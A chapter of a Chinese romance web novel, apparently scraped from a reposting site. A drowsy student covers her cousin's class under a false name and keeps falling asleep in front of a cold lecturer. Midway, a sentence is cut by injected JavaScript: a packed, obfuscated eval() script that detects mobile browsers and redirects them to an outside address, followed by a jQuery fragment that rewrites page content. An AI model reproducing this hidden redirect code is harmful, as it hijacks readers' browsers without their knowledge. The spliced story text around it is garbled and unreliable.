1. Chap.1
作品:《贪眠好你[先婚后爱]》 贪眠好你[先婚后爱]
文/今驰
晋江文学城独家首发
2025/12/19
立秋已过,天气却依旧无比炎热,比起前几个月的炎炎夏日来毫不逊色。
S大附近的公寓,干净而整齐的房间里,窗帘被拉得严实,阳光被全部阻挡,室内一片昏暗。
向晚四仰八叉地躺在床上,正在和周公约会。
奶黄的被子被她卷成一团压在身下,身上淡黄的睡衣因着她的动作而滑至腰间,露出一截白细的腰。几缕乌黑发丝随意落在她柔和的小脸上,衬得皮肤更加白皙。
安静的房间里,她浅而绵长的呼吸格外清晰,配合着空调“呼呼”的风声,颇有几分asmr的感觉。
不过,这份静谧并未持续多久,便被打破。
“星星当空,打马鸡枞……”
稚嫩的童声响起,向晚的身体猛得抖一下。挣扎良久后,她咕哝几声,伸手在四周摸摸,摸到手机,眼皮掀开一条小小的缝隙,看到屏幕上显示“方露”两个字,不是别的什么人,她默默闭上眼睛将电话挂断。
对方并没有打算放过她。消停不到一分钟,手机又播放起“星星当空……”
向晚紧蹙眉头,挣扎数秒后缓缓睁开眼睛,按下接通键,打开免提,将手机扔一边。
“表姐,救我!!!”电话那端的方露语气焦急,背景音隐约能听到机场空姐播报的声音。
“方露,你最好有急事,不然我会报警的!”
向晚的声音带着浓重的疲惫和倦怠,还夹杂着些许鼻音。说完她重重呼一口气。
“姐,天大的急事!只有你能帮忙了!真的很急,我发誓!”
听筒里的方露语气听着确实很急,向晚担心她真有什么事情,意识清醒许多,关切问道:"露露,发生什么事了?”
“我的飞机晚点,下午有课,你能不能帮我去上两节课呀,求求惹!”
“姐,真的很急,这个课的老师很严格,还会点到,第一次上课就旷课的直接给挂科,跪求救我狗命!”
听见不是什么涉及生命安全的事,向晚提起的心瞬间放下,脑袋又恢复成混沌状态,迷迷糊糊应道:“几点?在哪儿?”
“下午两点,上课地点我发你微信!”
“好。”
“谢谢姐,谢谢全世界最好的姐!不过,姐,现在已经一点三十五了。”
“几点?”向晚的脑袋晕晕的,几乎不能思考。
“一点三十五,姐,咱得抓紧时间了。”方露心虚不已,“等我回来,请你吃你最爱的那家海鲜自助,最贵的套餐,拜托拜托!”
向晚听完才反应过来只有二十五分钟,意识瞬间彻底清醒。好在还听见了海鲜自助,不然她下次看见她非得揍她不可。
公寓离s大校门走路都至少得十分钟。时间紧迫,她当即回个“再见”,挂断电话,猛得从床上坐起来。估摸着是起来得太突然,动作太大,她晕得更厉害,甚至隐隐想吐。
从昨天到今天,她才睡三个小时。脑袋几乎要宕机的她,手忙脚乱地洗漱完,换好衣服,一路小跑到学校。
紧赶慢赶还是迟到了五分钟。
站在教室门口,她长舒一口气,高频次小口呼吸以汲取氧气。
汗珠从发际和鼻尖一齐滚落下来,原本苍白的脸色因为奔跑和炎热变得红润,只嘴唇依旧没有什么血色。
教室门紧紧关着,里面无比安静。要不是仔细确认过门号,她真怀疑里面没人,自己走错了。
她有些纠结,不知道要不要进去。
作为一个资深社恐,想到要面对一教室的人,她的脑袋就嗡嗡作响。但是如果她不进去的话,露露就会被挂科。
两难之下,她最终鼓起勇气抬手敲门。
厚实的木门随之发出几声闷响。
“进。”
一道清冽好听的男声从教室里传来。
向晚呆愣在原地。
方露不是说这门课的老师是个严格的老教授吗?可是这声音听着也不像是老人呀?难道搞错了?
她抬头看看门牌号。
没错呀。
不管了,先进去看看再说。
她小心翼翼地推开门,轻手轻脚地挪进教室,抬眸时目光不期然触及台上的人,黑葡萄似的眼睛瞬间有碎光涌现。
讲台上的男人身姿修长挺拔,侧脸线条分明,鼻梁高挺笔直,鼻尖,薄唇和下巴连成一条直线,完全契合黄金比例。
明明天气还很炎热,可他却仿佛丝毫不受影响,依旧身着剪裁合体,质地精良的白色衬衫和黑色西裤。上至领口,下至袖口,每一粒扣子都扣得严严实实,一丝不苟。黑色领带从领口处延伸出来,更添几分庄重和禁欲。
这样的搭配,有的人穿像是卖保险的。而有的人穿则是清贵疏离,让人心生敬畏,望而却步。
很明显,这位老师属于后者。
短暂的怔愣过后,向晚想起自己当下的处境,惴惴不安地小声说道:“老师,不好意思,我不是故意迟到的。”
讲台上的男人闻声抬眸看向门口戴着棒球帽的女孩,一双眼睛似深海般幽静,深不可测。目光有如利刃,直直穿透被注视的人。
其中又夹杂着些许探究,好似要从向晚脸上找出点什么来。
向晚被男人俊朗的正脸和尖锐的目光激得心颤不止,顿在原地。
好帅!好冷!
“名字。”半晌后,男人薄唇微启。
向晚闻言下意识低头,不敢看男人的眼睛,更别说和他对视。她的嗓子仿佛卡住,说话一顿一顿的。
“向——方露,老师,我叫方露。”
男人的眼睛从向晚脸上挪开,垂眸看向点名册,目光从表格上方逡巡而下,很快找到她的名字,漆黑如墨的眼睛黯下一瞬,又很快恢复如常。
“这位同学,下次请注意时间。”
“老师,我会注意的,下次不会再迟到。”说完向晚低着头如同老鼠一般蹿进去,蹿到座位那里又愣住。
露露不是说选修这课的人不多吗,怎么都快坐满了?
这可是阶梯教室,少说也有上百个座位呀,居然没有什么空位!乌泱泱一片,看得她头都大了。脸上越发燥热,连带着耳根都在发烫。原本白皙的皮肤已红得通透彻底。
她站在第一排过道处,目光很快在教室里扫过,终于在前排找到一个位置,但这个位置有点儿危险。
因为它正对着讲台上的人。
此时的向晚像是被架在火上烤,毛绒绒的发际不禁又冒出些许细汗,手指紧紧抓着帆布包的带子,目光复又快速在教室扫过一圈。确定没有其他空位后,她硬着头皮走到第一排中间正对着讲台的位置坐下。
“各位同学,本学期将由我担任中医养生课程的老师。你们可以叫我陈老师,或者陈聿青。”
男人说话时眉目舒展,神色淡然,语速不疾不徐,说完从盒子里抽出一支粉笔,随手捏断一小截,将断掉的粉笔头投进盒子里,转过身去。
午后明媚的日光透过窗子照进来,拢住他清隽的身影,偶有一些洒在他高挺的鼻梁和线条分明的侧脸,冲淡他的冷硬,平添几分柔和。
纤长而骨节分明的手指捏着白色粉笔,很快在黑板上写下三个字——
陈聿青。
字迹遒劲洒脱,很是养眼。
向晚不自觉地轻声读出来,读完又觉得有些失敬,心虚地摸摸鼻子,暗自腹诽——说是这么说,但应该没有人敢叫他本名吧。毕竟这人长了张冷死人不偿命的脸。
不过好在这张脸确实很帅。
不是一般的帅。
通常来说,如果一个人长得不好看还冷脸,多半没人搭理。但是如果这个人长得帅,冷着脸,多半会被放进高冷男神名单。
底下的学生见台上的老师不像传闻中那般冷酷,瞬间松懈下来。原本安静得针掉地上都能听见的大教室,开始躁动起来。
坐在向晚旁边的两个女孩子甚至激动地低声尖叫:“我去,好帅!比照片还要帅!不愧是我投出来的男神!”
向晚听到男神两个字,下意识抬眸,目光不期然撞上陈聿青幽深的眼睛,如同触电,立马缩回去,默默埋下头。
嘶~
确实帅,就是人也太冷了,跟冰块似的,比自己写过的冰山霸总还要冷三分。
想到这,她又偷偷看一眼台上的人,暗自决定下次写暖男型的男主,最好是会撒娇会求爱的小奶狗。
冰山只适合存在于小说。现实里遇到这样的人,她得退避三舍。
视线从向晚那里收回后,陈聿青很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992274|193769||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快在教室扫视一圈。原本躁动的学生们瞬间停止躁动,教室迅速恢复安静。
陈聿青单手拿起点名册,另一只手虚握着讲台边缘,脊背微弯,拉出一道好看的弧度。
“现在开始点名。”
“周梦如。”
“到。”向晚旁边的女孩朗声应答。
陈聿青抬眸看一眼,又垂眸继续。他的声线清冷贵气,一个一个名字从他嘴里念出来,格外好听。向晚沉浸其中,等待自己的名字被唤出。
许是男人声音太过好听,又或许是她太过投入,等着等着她的眼皮开始打起架来,脑袋变得晕沉,意识也逐渐模糊。
“方露。”
讲台上的陈聿青念完名字,迟迟没有得到回应,抬眸看向正对着自己的那个位置,只见座位上的女孩单手支着下颌,两眼紧闭,像小鸡啄食般频频点头。
他的眼里很快划过一丝无奈,将声音提高几个分贝,再次点名,“方露”。
女孩依旧没有反应,眯着双眼,睡意正酣。
坐在旁边的周梦如起初以为向晚只是没听见。当老师第二次点名还没有回应时,她扭头去看向晚,见她睡得正香,不自觉瞪大眼睛。
好家伙,陈教授的课也敢睡,胆子也忒大了!
她不忍直视地轻轻推推向晚,见她没反应,又重重推一下。
向晚的手臂因这推力而错位,头猛得下坠,人也跟着惊醒。醒来后,她想起自己正在上课,咬唇眯了眯眼睛,脸上展露着明晃晃的心虚和羞怯。
周梦如见她满脸错乱,好心提醒:“刚才教授点你名了,快报‘到’。”
向晚闻言更加心虚心慌,脱口而出便是——
“报告。”
话音落,笑声从四面八方滚滚而来。身旁周梦如尴尬得捂住眼睛,“是报到,不是报告呀,姐妹。”
向晚反应过来,小脸拧成一团,抬眸看向台上正满眼探究地看着自己的陈聿青,抿紧干涩的嘴唇,尽力提高音量,“到。”
说完她小声解释,“老师,不好意思,我刚才没听见。”
陈聿青没有就此深究,用清贵的嗓音说出冰冷的言语:“方露,迟到一次,平时分扣五分。”
听见只是扣五分,向晚默默松口气。按她以前经验来说,平时分通常有一百分,少一点点应该也没关系。
陈聿青瞧见,眸光微动,复又出声:“如果迟到三次,平时分全扣,各位同学请注意时间。”
向晚闻言瞬间正经神色,默默点头。
“另外,没有被点到名,也就是没有选修这门课程的同学,下次上课请靠后就坐。”
陈聿青说完将话题转回课堂,“中医养生课程的内容比较简单,实用,希望各位同学都能学以致用……”
偌大的教室里,他的声音格外清晰。这和好看的人五官清晰有异曲同工之妙。
他的声线清冷贵气,带着恰到好处的磁性,比大部分晚间电台主播的声音还要好听。向晚听着听着,脑袋又开始往下坠,不断下坠。
起初她还会控制一下,掐掐自己的大腿,后面发现困意比痛意更难抗。她的意识渐渐失控,身体缓缓趴下,很快进入深度睡眠状态。
身旁的女孩看见向晚直接睡趴下了,不由得在心里给她比上好几个大拇指。好家伙,又睡!这是她大学这几年见过的胆最肥的同学!勇气可嘉!
她本想推推她,可扭头就撞上陈教授冷冽的目光,惊慌地缩回手。
事已至此,只祝这位勇者好运了。
讲台上,陈聿青见这位名为“方露”的同学又闭上眼睛,讲课的声音顿了一下,但并未出声打断。
大约是觉得孺子不可教也。
整整一节课连同中间的休息时间,向晚都给睡过去了。第二节课上课,她还在睡,睡得天昏地暗,不知天地为何物。
讲台上的陈聿青仅仅在刚进教室时愣了一瞬,之后神色如常地讲课,似乎已完全忽视她。
离第二节课下课还剩三分钟,陈聿青将课堂内容全部讲解完,让学生自行阅读书本。
目光触及台下仍旧睡意酣然的向晚时,他淡漠的眼眸再次快速划过一丝无奈。片刻后,他走下讲台,在女孩的座位面前站定,脊背微弯,手指有节奏地敲击桌面两下,声如寒冰:
“方露,课后留下。”

